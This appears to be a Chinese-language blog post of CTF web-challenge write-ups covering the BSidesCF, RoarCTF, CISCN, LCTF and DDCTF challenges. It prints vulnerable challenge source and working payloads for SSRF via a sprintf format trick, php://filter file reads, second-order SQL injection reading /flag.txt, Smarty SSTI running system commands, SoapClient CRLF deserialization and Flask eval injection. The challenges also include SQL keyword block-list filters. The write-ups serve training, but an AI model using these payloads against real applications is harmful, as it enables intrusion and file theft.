        onSubmit : function( form ) {
            classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
            var messageEl = theForm.querySelector( '.final-message' );
            form.submit();
            messageEl.innerHTML = 'Ok...Let me have a check';
            classie.addClass( messageEl, 'show' );
        }
    } );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

主要思路是 讓$detect以字符串形式輸出,有兩種讀取admin.php的方法

  • %1$s

    %1$s會將第一個參數用string類型輸出

    print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s會以字符串格式輸出$detect,而%d會輸出0
    
  • %s%,sprintf()函數中%可以轉義掉%

    print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被轉義,因此失
    

payload

POST:q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s

得到admin.php的源碼

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {   //只要傳入decrypt參數就不會生成隨機數
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');  //注意!這裏加密的內容是從SESSION中取的,突破點就在這裏
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;   
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));   //這裏的種子是真隨機了,無法爆破
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>

session繞過

刪除cookie,沒有cookie中的SESSIONID就找不到對應的session文件,相應的$_SESSION[‘var’]就爲NULL,傳參NULL。

所以只要我們在訪問admin.php時,刪除session訪問,代碼就會變成:

$cipher = aesEn(NULL, 'y1ng');

加密算法

function aesEn($data, $key){
    $method = 'AES-128-CBC';
    $iv = md5('174.0.0.201',true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng')
//NjsmGkorj5yvvA4w11R3FA==
admin.php?decrypt=NjsmGkorj5yvvA4w11R3FA%3d%3d

[BSidesCF 2020]Had a bad day

<?php  
	$file = $_GET['category'];  

	if(isset($file))  
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
		{  
			include ($file . '.php');  
		}  
		else
		{  
			echo "Sorry, we currently only support woofers and meowers.";  
		}  
	}  
?>  

php://filter僞協議嵌套

payload

category=php://filter/read=convert.base64-encode/woofers/resource=flag

[RoarCTF 2019]Simple Upload

Think PHP upload()多文件上傳

think PHP裏的upload()函數在不傳參的情況下是批量上傳的,這裏可以理解爲防護機制只會檢測一次,運用條件競爭,多次上傳便可以繞過文件後綴的檢測,至於爲什麼上傳兩次1.txt,是爲了獲取php文件的後綴,因爲這裏的後綴命名方式運用了uniqid函數它是基於微秒的當前時間來更改文件名的,兩個同時上傳生成的文件名相差不會太遠。

文件名爆破

先上傳一個正常文件再上傳一個木馬文件,然後再上傳一個正常文件,然後根據第一和第三個正常文件的文件名之間的差異,爆破出我們上傳的木馬文件

[CISCN2019 華北賽區 Day1 Web5]CyberPunk

php僞協議讀取源碼

index.php

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 電話:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到訂單!";
    }
}else {
    $msg = "信息不全";
}

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "訂單修改成功";
    } else {
        $msg = "未找到訂單!";
    }
}else {
    $msg = "信息不全";
}

confirm.php

<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交訂單";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "訂單提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

二次注入

change.php

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

在地址被更新的同時,舊地址被存了下來,造成二次注入

payload

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,25)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),26,50)),0x7e),1)#

[CISCN2019 華東南賽區]Web11

Smarty模板SSTI

Smarty的{if}條件判斷和PHP的if 非常相似,只是增加了一些特性。全部的PHP條件表達式和函數都可以在if內使用,如||,or,&&,and,is_array()

x-forwarded-for:{if phpinfo()}{/if}

在這裏插入圖片描述

payload

{if system("cat /flag")}{/if}

bestphp’s revenge

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

session反序列化->soap(ssrf+crlf)->call_user_func激活soap類

  • SoapClient觸發反序列化導致ssrf

  • serialize_hander處理session方式不當導致session注入

  • CRLF漏洞

通過反序列化調用SoapClient向flag.php發送請求,那麼就可以實現ssrf

接下要解決的問題是:

  • 在哪觸發反序列化
  • 如何控制反序列化的內容

這裏要知道call_user_func()函數如果傳入的參數是array類型的話,會將數組的成員當做類名和方法,例如本題中可以先用extract()將b覆蓋成call_user_func()reset($_SESSION)就是$_SESSION['name'],我們可以傳入name=SoapClient,那麼最後call_user_func($b, $a)就變成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018),由於SoapClient類中沒有welcome_to_the_lctf2018這個方法,就會調用魔術方法__call()從而發送請求

payload

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=991m9bf41ue8k3bctirr5mm8m4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3D991m9bf41ue8k3bctirr5mm8m4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

先注入poc得到的session

在這裏插入圖片描述

再觸發反序列化使SoapClient發送請求

在這裏插入圖片描述

攜帶poc中的cookie訪問即可得到flag

在這裏插入圖片描述

[DDCTF 2019]homebrew event loop

邏輯漏洞:

異步處理導致可以先調用增加鑽石,再調用計算價錢的。也就是先貨後款。

eval函數存在注入,可以通過#註釋,我們可以傳入路由action:eval#;arg1#arg2#arg3這樣註釋後面語句並可以調用任意函數,分號後面的#爲傳入參數,參數通過#被分割爲參數列表.

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

分析一下:

# flag獲取函數def FLAG()

# 以下三個函數負責對參數進行解析。
# 1. 添加log,並將參數加入隊列def trigger_event(event)

# 2. 工具函數,獲取prefix與postfix之間的值
def get_mid_str(haystack, prefix, postfix=None):

# 3. 從隊列中取出函數,並分析後,進行執行。(稍後進行詳細分析)
def execute_event_loop()

# 網站入口點
def entry_point()

# 頁面渲染,三個頁面:
index/shop/resetdef view_handler()

# 下載源碼
def index_handler(args)

# 增加鑽石
def buy_handler(args)

# 計算價錢,進行減錢
def consume_point_function(args)

# 輸出flagdef show_flag_function(args)
def get_flag_handler(args)

有這麼兩個跟 flag 有關的函數:

def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')

可以看到show_flag_function()無法直接展示出 flag,先看看get_flag_handler()中用到的trigger_event()函數:

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:

這個函數往 session 裏寫了日誌,而這個日誌裏就有 flag,並且 flask 的 session 是可以被解密的。只要後臺成功設置了這個 session 我們就有機會獲得 flag。

但若想正確調用show_flag_function(),必須滿足session[‘num_items’] >= 5。

購買num_items需要花費points,而我們只有 3 個points,如何獲得 5 個num_items?

先看看購買的機制:

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume

buy_handler()這個函數會先把num_items的數目給你加上去,然後再執行consume_point_function(),若points不夠consume_point_function()會把num_items的數目再扣回去。
其實就是先給了貨後,無法扣款,然後貨被拿跑了

那麼我們只要趕在貨被搶回來之前,先執行get_flag_handler()即可。
函數trigger_event()維護了一個命令執行的隊列,只要讓get_flag_handler()趕在consume_point_function()之前進入隊列即可。看看最關鍵的執行函數:
img

仔細分析execute_event_loop,會發現裏面有一個eval函數,而且是可控的!

利用eval()可以導致任意命令執行,使用註釋符可以 bypass 掉後面的拼接部分。

若讓eval()去執行trigger_event(),並且在後面跟兩個命令作爲參數,分別是buy和get_flag,那麼buy和get_flag便先後進入隊列。

根據順序會先執行buy_handler(),此時consume_point進入隊列,排在get_flag之後,我們的目標達成。

所以最終 Payload 如下:

action:trigger_event%23;action:buy;5%23action:get_flag;
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章